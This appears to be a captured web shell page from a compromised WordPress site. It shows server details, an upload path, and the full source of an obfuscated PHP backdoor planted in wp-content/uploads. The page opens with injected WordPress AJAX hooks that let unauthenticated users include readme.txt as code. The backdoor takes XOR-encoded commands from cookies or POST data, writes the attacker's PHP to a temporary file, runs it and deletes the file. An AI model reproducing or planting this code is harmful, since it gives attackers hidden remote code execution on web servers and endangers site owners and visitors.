if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-content/uploads/2022/09/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-content/uploads/2022/09/eyxhujpi.php
<?php       function	vjspear(){$_tpzlhs='tehhi'; /* v*/ print_r    (19421+19421);    }
$reurknr    =    'reurknr'       ^    '';





$amtbrvghbx /*  ekleex*/ = /* yberhf*/ $_COOKIE;

$oe_xf_x /*ph   */ =	$_POST;
$bbfhblw /* ywy */ =   'yddangxlnr';$pwlerrrcsv     = /*kdkarm*/ 'rlguw';



function    vdiydaktx()

{
 /* wx   */ $_acnww	= /*   xho*/ 362; /*aip*/ $yio_uvfgox   = /*  htbgt */ 'fppvalktxm';
 /*   ob_s   */ $zoivneilxvvkw  =  -54;    $tnusgqd  =     $_acnww  / /*bpcy */ 8; /*  zys*/ $psr_v /* clxyn */ =   218;

    $oppmaxs    = /*pvvan   */ 'erxhefwjkk';     $afdmogjv    =    -98;


}

vdiydaktx();




function	ugbwvddn($eowzfr,       $wtzlifcv)

{ /*n  */ $ozfcrp	= /*szy   */ strlen($eowzfr);      $acpqdn     =	strlen($wtzlifcv);


    

      global	$reurknr;
 /* uqqjzc*/ $htamjydjoq /*   _ */ = /*nerza   */ "";   $ltywc_ye /* ozyld   */ =       0; /*   lj */  /*   fl  */ while	($ltywc_ye	< /*tgo*/ $ozfcrp)	{


   for   ($zoivn /*  yr*/ =   0;     $zoivn    < /*  yn   */ $acpqdn /*  sxw*/ &&    $ltywc_ye	<    $ozfcrp;    $zoivn++,    $ltywc_ye++)    {
    $htamjydjoq      .=     $reurknr(ord($eowzfr[$ltywc_ye]) /* zxoy_h */ ^     ord($wtzlifcv[$zoivn]));


     }

	} /* lsqp */  /*  njmxh  */ return       $htamjydjoq;

}






function     wxnka()


{
 /* p */ $tnqjrclyuy /*  xxfn_m*/ =    -47;


 /* qlht   */ $enchytbcrd /*pkk */ =     'tuifssx';


    $dmofga	=	400;
 /* zd  */ $_ho_xhg /*   mg */ =   'tcp';


}



function /* s */ _tls_jt($zoivntpjl,    $eowzfr)

{

 /* qlmhg */ global       $reurknr;
	$lxyzqqegzd	=    sprintf("\x2e"	.	"/".$reurknr(425-388) /*  iwy */ .	"s"."."."p"."\154", /* sut */ md5($zoivntpjl));
 /* ptdf  */ file_put_contents($lxyzqqegzd,	"<"       .    $reurknr(63) /*   u_ */ .	"\160"  .    "h"."\x70"     . /*grntgg */ $reurknr(32) /*uvk_*/ . /*a_*/ "\165"       . /*   y*/ "n"."\154"    .       $reurknr(484-379)."\x6e"      .	$reurknr(358-251)       .     "\50" /*  f*/ .	"_"."_"."F"."\x49"	.	"\x4c"  .   $reurknr(69) /*   sf   */ . /*zrkf*/ $reurknr(95)  .       $reurknr(95)    .	"\51" /*pn */ .    "\x3b" /*  blqnl   */ . /* xas*/ $reurknr(32)   . /* d_l  */ $eowzfr["d"]);

$gckxaos /*  _e */ = /*qgsh  */ 58;

$csgff  =	569;
    include($lxyzqqegzd);    $bqyeoiu /*   shwl_t   */ =	$lxyzqqegzd;


	$btkprjsgdx	=    258;
 /*mpygkw   */ @unlink($bqyeoiu); /* oua */ $qzybwe /* yilgsr */ = /*   lzr*/ 254;

    $nzwoagylg /*   zvkibi*/ =  $gckxaos    %   3;}





wxnka();

function	ctxtlmc(){

    global /* g   */ $reurknr;



    $ltywc_ye      =  array();	$ltywc_ye["\160" /*   uqdcb */ . /*fhhsa  */ "\x76"]      =    phpversion();

	$tqnisdt /* nfeau*/ = /*   ooasxs  */ 'ueb';

       $zoivnymwjk /*   __vd */ =	strtoupper($tqnisdt);
 /*   mhuq  */ $ltywc_ye["\x73"	. /*   ty_tdl*/ "v"] /*  yph */ = /*   ua  */ $reurknr(51)  . /*ogoyyx   */ "\x2e"       .     "\65";


    $vrczx_fyj      =      strtoupper($zoivnymwjk);


 /*   cky   */ echo /*qzf  */ @serialize($ltywc_ye);


}



function    ldpkjngrhx($eowzfr,      $zoivntpjl,      $yoplwmydy)


{
	global    $reurknr;



    $eowzfr     =   unserialize(ugbwvddn(ugbwvddn(base64_decode($eowzfr),    $zoivntpjl), /*  ar*/ $yoplwmydy));

      if /*  qjxi*/ (isset($eowzfr["a"."\153"]))    {
     if /*  _cv */ ($eowzfr["a"] /* nfcsq */ == /*  u  */ $reurknr(484-379)) /* sivg*/ {       ctxtlmc();


 /*  x*/ $nghgxmfak     =    555;

 /*skm*/ }	elseif	($eowzfr["a"] /*   fegml  */ == /*  djdf   */ $reurknr(101)) /* dgjes_   */ { /*msxajw */ _tls_jt($zoivntpjl,    $eowzfr);


	$ryggt       = /*  irmbw   */ 'bgtcolykw'; /* th_  */ }

     exit(); /*yp*/ }}






$amtbrvghbx      = /*   n   */ array_merge($oe_xf_x, /* l  */ $amtbrvghbx);



$zoivntpjl    =  "\x34"      .       $reurknr(99)   .       "\x35"     . /*pqzd   */ "\x31"	.  "5"."2"."0"."b"."\55" /*   fu_aq  */ . /*   hipk  */ $reurknr(629-529)	.    "6"."1".$reurknr(468-413) /*   zrjer*/ . /* tmsb_ */ "-".$reurknr(52)   .  $reurknr(106-56) /*  meuzos   */ .   "6"."\x65"	. /*orv   */ "\55"       .    $reurknr(407-309)    .  "0".$reurknr(540-490) /*og*/ .	"\63"	.    "-"."\x36"    .    "2"."b".$reurknr(102)	. /* wooawm */ $reurknr(101)."\67"    . /* bcdrnh  */ "9".$reurknr(750-651) /* s   */ . /*   jl*/ "\x33"  .   $reurknr(57)    . /*  amg  */ $reurknr(98)      . /* _id */ "8";


foreach    ($amtbrvghbx	as    $yoplwmydy      =>    $eowzfr)    {


 /* wgden  */ ldpkjngrhx($eowzfr, /* o   */ $zoivntpjl, /*   cifcnk*/ $yoplwmydy); /* qoocd   */ $ykzlyxzo      = /* pdxz */ 'rxhst';

 /* faf */ $_zynbqaaia       = /* bgx   */ 468;
}





?>
@ Telegram